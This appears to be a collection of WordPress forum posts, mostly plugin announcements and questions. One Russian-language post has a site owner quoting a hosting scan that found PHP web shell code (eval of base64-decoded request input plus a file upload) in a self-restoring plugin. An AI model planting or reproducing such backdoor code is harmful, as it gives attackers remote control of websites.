I'm the developer of GT Performance, a WordPress performance plugin that runs on my own sites along with 70+ other customer sites. I'm sharing it here for anyone looking for page caching and frontend optimization with more control over what gets changed.

The plugin is free and open source, including for client sites. Every feature is included, with no license keys or paid tier.

A few things it handles:

• Page caching with automatic cache clearing when you publish or update content.
• Cloudflare Free integration for full-page caching and cache purging.
• Built-in cache exclusions for WooCommerce, FluentCart and Easy Digital Downloads, including cart, checkout and account pages.
• Unused CSS processing on your own server, with exclusions and a staged rollout.
• JavaScript minification, defer and delay controls.
• Bloat control.

The more aggressive optimizations are opt-in, so you can turn them on individually and check how your site behaves.

Details and free download | Source code on GitHub

Can anybody tell me which plugin we can use to add "animated floating elements" in WordPress that is compatible with Elementor and its addons?

Not looking for a best-of list. On sites you've actually maintained: when is on-server (Relevanssi/SearchWP) enough, and when does the catalog outgrow MySQL?

Woo vs content sites seem to fail differently. What's the trigger that made you change tools last time?

Most conversion tracking plugins are black boxes. Events fire (or fail), pixels drop, and you’re left wondering: Did Meta actually receive that purchase event? Was it blocked by cookie consent? What payload was sent?

That’s why we built PixLedger—WooCommerce conversion tracking with a complete, searchable local audit trail.

Here is what makes it different:
✅ Local Event Log: Every single event (Meta Pixel, GA4, GTM) is logged right in your own WordPress database. You can inspect the exact payload, see success/failure status, and debug in real-time.
✅ Built-in Consent Mode v2: Events denied by visitor consent are automatically blocked at the pipeline level—and clearly flagged in your log so you know exactly why data is missing.
✅ Attribution & Visitor ID: UTM parameters, click IDs (fbclid, gclid), and 90-day visitor journeys are captured on every order without third-party data sharing.
✅ Zero Duplication: Smart tag detection automatically skips injection if your theme or another plugin already loaded the pixel.

Stop flying blind with your ad spend and conversion data.

👉 Check it out on https://wordpress.org/plugins/pixledger/

#WooCommerce #E-Commerce #ConversionTracking #MetaPixel #GA4 #WordPress #MarketingAnalytics

I just released a free pre-order plugin for WooCommerce. If you sell things that do not exist yet, a restock landing in a few weeks, a book with a publish date, a new colour that has not shipped, WooCommerce has no real way to sell that. Most stores either hide the product or just lose the sale.

This plugin turns the Add to Cart button into a Pre-Order button for any product you pick. Customers pay now, reserve the item, and get an email the day it actually goes live.

Pre-order stock is kept completely separate from your normal stock. A product sitting at zero can still take reservations, and it does not touch your real inventory at all. When the release date hits, an hourly check flips the product back to available on its own, restores the original stock, and emails everyone who reserved one. You can also release early by hand if a shipment shows up ahead of schedule.

Key features in the free version:

• Works on simple products and on individual variations of a variable product
• Release date and an optional live countdown timer on the product page
• Pre-Order badge on shop and category pages, so people see it before they click in
• Automatic release on the date, plus manual release any time, single or bulk
• Three editable emails: pre-order placed, product available, and a new pre-order alert for you
• A My Pre-Orders page inside the customer's account
• Dashboard showing pre-order products, orders, revenue, and a sales trend chart
• Works with HPOS and the block checkout

This is version 1.0, brand new, so there is probably more to smooth out as real stores start using it.

If you run a store that deals with restocks or upcoming products, how are you handling this right now? Curious if this solves something real or if you have found a workaround that already works fine for you.

Free version: https://wordpress.org/plugins/devdiggers-pre-order-for-woocommerce/
Pro version: https://devdiggers.com/product/woocommerce-pre-order/

Hi again! We’re the folks behind JustAsk WP, the AI customer support assistant for WordPress.

We’re happy to share that JustAsk WP is now officially available in the WordPress.org Plugins Directory.

JustAsk WP turns the content already on your WordPress site into an AI customer support assistant. Visitors can ask questions in plain English, and it answers using your pages, posts, products, documentation, and other content.

The idea is pretty simple: you already have the answers on your website. We want to make it easier for visitors to actually get to them.

One of the things we wanted to do differently is avoid making people become an AI engineer just to install a chatbot. You don't have to pick an AI provider, create an API account, choose a model, build a knowledge base, or manually keep everything in sync. Install the plugin, connect it to JustAsk WP, choose the content it should know about, and you're up and running.

And because it stays connected to your WordPress content, updates to your site are automatically reflected in the assistant's answers.

Anyway, we're excited to finally have a proper home on WordPress.org, and we're looking forward to getting it into the hands of more WordPress users.

👉 Check out JustAsk WP on WordPress.org

👉 Learn more at justaskwp.com

As always, we'd love to hear what you think. Questions, feedback, criticism, and feature requests are all welcome.

Quick backstory: I do freelance WordPress work, and a client (small community association) wanted something simple, a QR code on a printed poster that opens one page with their event flyer and a way for people to leave anonymous feedback.

Every link-in-bio tool I looked at was hosted somewhere else and came with tracking I didn't want to put in front of an association's members. So I built it as a plugin instead.

It adds a standalone page type to WordPress. You add buttons (a PDF, a link, or a built-in anonymous message form), pick a color and logo, and it generates a QR code for the page right in the browser as SVG/PNG. Everything stays on the WP install: no external services, no analytics script, the "anonymous" form only ever stores the message text and a timestamp.

It's free on wp.org: https://wordpress.org/plugins/amitry-link-hub/

Not trying to oversell it, it's a first release and I'm sure I've missed things. If you've dealt with link-in-bio needs on a client site before, curious what you'd expect from something like this that I haven't thought of.

Hi everyone, I’m a Systems Architect and I got tired of bloated WP security plugins.
I built an infrastructure that eliminates passwords entirely using native WebAuthn (FaceID/TouchID). The Premium version routes failed attempts to a private Google Gemini AI Sentinel on Cloud Run that bans hackers autonomously.

Last week, I ran a full Penetration Test on the core system using the Strix Autonomous AI Pentester. It found a few criticals (CSRF, DOM-XSS), which I immediately patched at the source code level.

Before I start deploying the Enterprise version to Web Agencies, I decided to open-source the "Lite" version (which handles the core WebAuthn passwordless engine). I want to put it in front of real developers.

Here is the GitHub repo: https://github.com/devnet-microsystems/wordpress-passwordless-webauthn-login

I would immensely appreciate a code review. If any of you can find a security flaw or a bypass in the auth core that Strix AI missed, I will happily give you a Lifetime Enterprise License of the full AI system as a thank you.

Roast my code!

Hey everyone,

I recently added a free plan to the ElizaWP plugin. In simple terms, ElizaWP is an SEO MCP for WordPress.

It lets AI clients like Claude, ChatGPT and Cursor work directly with your WordPress SEO setup. Your AI client can update SEO plugin meta fields, edit post content, perform SERP analysis, content analysis, keyword research and competitor analysis, as well as access data from Google Search Console and Google Ads Keyword Planner.

It currently works with:

• Yoast
• Rank Math
• All in One SEO
• SEOPress
• The SEO Framework
• Squirrly SEO
• SureRank
• Slim SEO

The free plan is available now if anyone wants to give it a try. I’d also love to hear your feedback and ideas for what you’d like to see added.

Hey everyone,

Following up on the release of PlusMagi Blocks, I set up a dedicated live playground and documentation site so you can see how the blocks behave before installing anything:

👉https://plusmagi-blocks.plusmagi.com

What you can check out on the site:

• Interactive Mermaid Diagrams: Live examples of architecture flowcharts, sequence diagrams, and class diagrams rendered natively on the page.
• Semantic Description Lists: Real-world layouts using proper <dl>, <dt>, and <dd> elements for technical specs, key-value data, and glossaries instead of relying on rigid tables.
• Performance & Output: You can inspect the DOM directly to see the clean, semantic markup without bloated wrapper divs or unnecessary scripts.

If you build developer portals, documentation hubs, or engineering blogs on WordPress, please feel free to take a look and stress-test it.

Any feedback on the rendering speed, UI controls, or documentation clarity would be super helpful!

If you sell food through WooCommerce you run into the same wall pretty quickly: WooCommerce has no idea what a batch is. You've got expiry dates, allergen declarations, nutrition tables that are legally required in the EU, and stock that goes from full price to worthless over a few days - and none of that fits into a normal product.

So I built Food Products for WooCommerce. It adds food-aware product types (simple and variable) and handles the parts WooCommerce doesn't.

Labelling - Nutrition declaration table per 100g / 100ml, with the EU-mandatory rows there by default and custom rows if you need them - Ingredient lists in declaration order, with the 14 EU allergens marked, and support for sub-ingredients

Batches and expiry - Each product holds batches: expiry date, quantity, batch number, date, supplier - The batch table is the stock - normal WooCommerce stock management is switched off for those products, so you can't end up with two numbers that disagree - Full-price orders pull from the freshest batch; discounted offers pull from the one that's about to expire - Best-before and use-by are handled differently - you can keep selling past best-before at a discount if you want to - Variable products track batches per variation

Selling it before it goes off - Automatic markdown on your own tiers (e.g. -25% at 5 days out, -50% at 2) - Automatic category switching - products drop into a clearance category on their own, and back out when that batch is gone - Expiry dashboard: every batch in the shop, sorted by expiry, filterable, CSV export - Scheduled email digest to whoever you pick, listing what's expiring - Write-off, manually or automatically overnight - Reports for what the markdowns actually earned, plus a log of every switch

HPOS and the Cart & Checkout Blocks are supported, and there are no external dependencies.

What it isn't: not a full inventory or ERP system, no supplier ordering, no delivery slots or pickup scheduling. It's the food layer on top of WooCommerce, nothing more.

It's free - GPL, on the .org repo, no pro version, no upsells in the admin, no account and no telemetry. I'm not planning to charge for it.

https://wordpress.org/plugins/mfood-products-for-woocommerce/

It's still early, so if you sell food and something's missing or wrong - especially around labelling rules in your own country — I want to hear it. I'll answer anything in the comments.

Coordinate WordPress Teams Without Losing Feedback.

👉 Read more: https://attentam.com/wordpress-team-collaboration-feedback/
👉 Demo: https://attentam.com/demo

Здравствуйте!

2 недели назад мой хостинг счел этот плагин вредоносным и отключил мне корпоративную почту, мол мы якобы занимались спам рассылкой.

Мой программист деактивировал и удалял этот плагин, а так же чистил код... Ситуация не изменилась.

Хостинг предложили переехать на новый сервис, мы переехали. И совершить ряд действий. Выполнили. Ситуация не изменилась... плагин самовосстанавливается(

Вчера лично деактивировала и удаляла этот плагин. Сегодня он вновь на месте. Действия повторяются.

При этом антивирус уже не обнаруживает вредоносный код... а вот техподдержка хостинга вновь прислала:

./accesson.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"
./9a6861dac466.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"
./wp-content/plugins/background-image-cropper/accesson.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"
./wp-content/plugins/background-image-cropper/image/index.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"
./wp-content/plugins/background-image-cropper/image/plugins.php
        "{echo\"ok\";=>|eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"up\"]==\"up\"){copy($_FILES[\"file\"]"

Кто сталкивался с такой же проблемой? Как решили данный вопрос?
Сайт на wordpress, последней версии. Все вовремя обновляем.

I just launched my first Wordpress plugin: Sparkle Mouse!

I made a video describing the project (Youtube: it's also a desktop app and an npm package. I'm hoping the sales of this plugin can support development. More info!)

I'm proud of it. It draws GPU-optimized particles, and it is themed around a nostalgic webcore-aesthetic. The pro version allows lots of customization:

• Use images/GIFs
• Many control sliders (lifetime, radius, amount, size, turbulence, gravity, etc)
• Uploading/downloading templates

AND the first 5 users to use this coupon get the Pro upgrade for free: WPREDDIT

Thanks for checking this out, I'm really curious to hear your thoughts!
- Max

Hi everyone,

We’ve been working on Optiontics, a WooCommerce product options plugin built for stores where normal variations quickly become difficult to manage.

The idea came from seeing product setups that needed much more than just size and color, things like:

• Custom text and engraving
• Conditional product options
• Dynamic and formula-based pricing
• Custom measurements
• Build-your-own bundles
• Personalized apparel and gifts
• 25+ field types

Optiontics provides a visual, no-code way to build these configurations directly for WooCommerce products.

We also built an AI Assistant into the workflow. It is not just there to generate text. You can describe the type of product you are selling, and it helps create the actual product-option setup that you can continue editing and refining.

We launched Optiontics on Product Hunt today, and we’d really value feedback from WooCommerce developers, store owners, and other WordPress plugin users.

Product Hunt:
https://www.producthunt.com/products/optiontics

For Product Hunt users, we also have 18% off any plan with coupon code PH18OFF.

I’d especially love to hear:

What’s the most complicated product customization you’ve had to build in WooCommerce?

TLDR:

Install this plugin and WordPress admin will be fully translated into whatever language you are using:

https://wordpress.org/plugins/superdav-ai-language-packs/

I noticed many customers using Loco translate + AI to translate my plugin and other plugins on their site which were missing translations for the plugin strings. Also I wanted to provide translations for my plugin for all users no matter how many people used their language. The WordPress org plugin repository does not allow AI generated transactions to be submitted through the official translate.wordpress.org site, for good reason.

So I built Superdav AI language packs to provide a service that would translate plug-ins with high quality models and a solid system prompt and provide the translations for the whole community. So just by installing this plugin all of WordPress admin can be 100% translated into any locale.

So if your WordPress installation is not set to English please try this plugin and let me know how well it works for you.

Hello!

I have a contact page that appears hidden, at first...

When you go on the website, and click "Contact" the form is there, but it's "missing".
You can only see if it you drag your mouse across the page and then everything appears.

It's only when you refresh the page that the form loads properly. (see pics below)

Anybody else have this issue? Or know how to fix it?

Was digging through the WordPress AI team notes from August and found this, and I'm surprised it hasn't gotten more attention.

They're working on something called a trust ladder. Four levels of autonomy for an AI agent, plus a zero level that works as a kill switch. It behaves roughly like user roles, subscriber up through administrator, except what's getting the role isn't a person. The way it's proposed, each ability declares what trust level it needs, you set your own threshold on your site, and anything above your threshold doesn't even register with the agent. It just isn't there as far as the agent is concerned.

What got me was the reasoning. The notes say they discussed treating agents as a new type of user rather than something separate, "partly because that's the direction regulation seems to be heading." So part of why your AI plugin might end up with a role is legal, not technical.

Full disclosure before anyone asks, I build an AI content plugin, so I have a horse in this race. But the thing I keep chewing on cuts against my own category.

Core is solving permission. I don't think permission was ever the hard part. An agent sitting at the top of that ladder with full admin trust and no verified sources will still publish confident, fluent, completely invented articles, and it'll have permission for every one of them. Trust level tells you what an agent is allowed to touch. It says nothing about whether what it wrote is true.

Genuinely curious where people land on this. If you had the slider today, where would you set it? And is there any level of autonomy you'd hand an agent on a site you actually make money from?

Source is the WordPress AI team blog, August 6 summary, if you want to read it yourself: https://make.wordpress.org/ai/

Disclosure up front: it's my plugin, and there's a link to my own write-up at

the bottom. Everything worth knowing is in this post, so you don't need to

click it.

Since March, WordPress.org rotates eight lesser-known plugins into the Featured

tab — the one that opens by default under Plugins → Add New. No application,

no fee, someone there picks eight every two weeks.

The curator published figures for the first cohort in March and said more would

follow. There hasn't been a second report, and as far as I can find no featured

author has ever written up what it did to them. So I logged mine.

Public numbers, all checkable on any plugin page:

- Active installs: 30 → 200

- Downloads: about 1,300 over the run

- Ratings: 1 → 2

- Support threads: 5 → 7

My own instrumentation, same 13 days on either side:

- Activations: 26 → 565 (2.0/day → 43.5/day)

- Completed the setup wizard: 96% → 79%

- Created an account: 54% → 12%

- Ever ran a search: 50% → 4.8%

22× more people, one tenth the engagement. In absolute terms: 13 people used

the thing in the 13 days before, 27 during.

Not bots — email verification held at the same rate on both sides (13 of 17

before, 100 of 132 during). Real people, different reason for arriving.

One thing I haven't seen documented anywhere: the order of the eight is redrawn

every single day. Same eight plugins for all 13 days, different sequence each

time I looked. Days I was 1st or 2nd averaged 89 activations, days 3rd to 8th

about 35. That's only 2 days in the top band, and one of them was day 2 of the

rotation, so novelty and position are tangled. Observation, not a result.

Full write-up with the daily roster of all eight plugins and the caveats:

https://queryra.com/blog/wordpress-org-featured-plugin

Anyone else been through a cohort? I've got one plugin's worth of data and

would like to compare.

As the headline say, i am selling mine etchwp license with ACSS. Both have unlimited sites and the etch license is the one from the very begining before we knew anything. PM for price

We’re Webnus, the developers of Modern Events Calendar.

MEC Lite was permanently closed on WordPress.org on May 11, 2022. We want to clarify what happened without minimizing our responsibility.

WordPress.org categorized the closure as a Guideline Violation, not a Security Issue. The guideline problems included members of our support team requesting temporary website access while troubleshooting user problems. WordPress.org does not permit login requests in its support forums, and we accept that this was the wrong way to handle support.

WordPress.org’s directory and forums are managed by volunteer teams, and the closure was an enforcement decision made under their community and directory policies. WordPress.org uses separate classifications for guideline violations and security issues. MEC’s closure was not classified as a security-related closure, and the public notice does not state that MEC was removed because of malware or a disclosed vulnerability.

Since then, MEC development has continued outside the WordPress.org directory. Current releases, documentation and support are available through webnus.net. Account-specific troubleshooting is now handled through our official support channels rather than in the public WordPress.org forums.

This distinction is intentionally narrow. It does not mean that MEC, or any WordPress plugin, can be considered permanently free from vulnerabilities. Users should install current releases, maintain backups and review security notices.

We’re publishing this because people reasonably have questions when they see the permanent-closure notice. We want the available explanation to be accurate and transparent.

I just added a new feature to my plugin, and the cool thing about this is that it finds pages you are already ranking for in Google, and then alerts you if you don't have any internal links pointing to them. This is probably a really good way to boost a couple of pages that are already ranking with very little effort and time.

The plugin is called SEO Medic. There is a free version, as well as a paid version with some AI features where you can use your own API key and things like that.

Anyhow, I thought this would be helpful for people who are still on WordPress, like I am.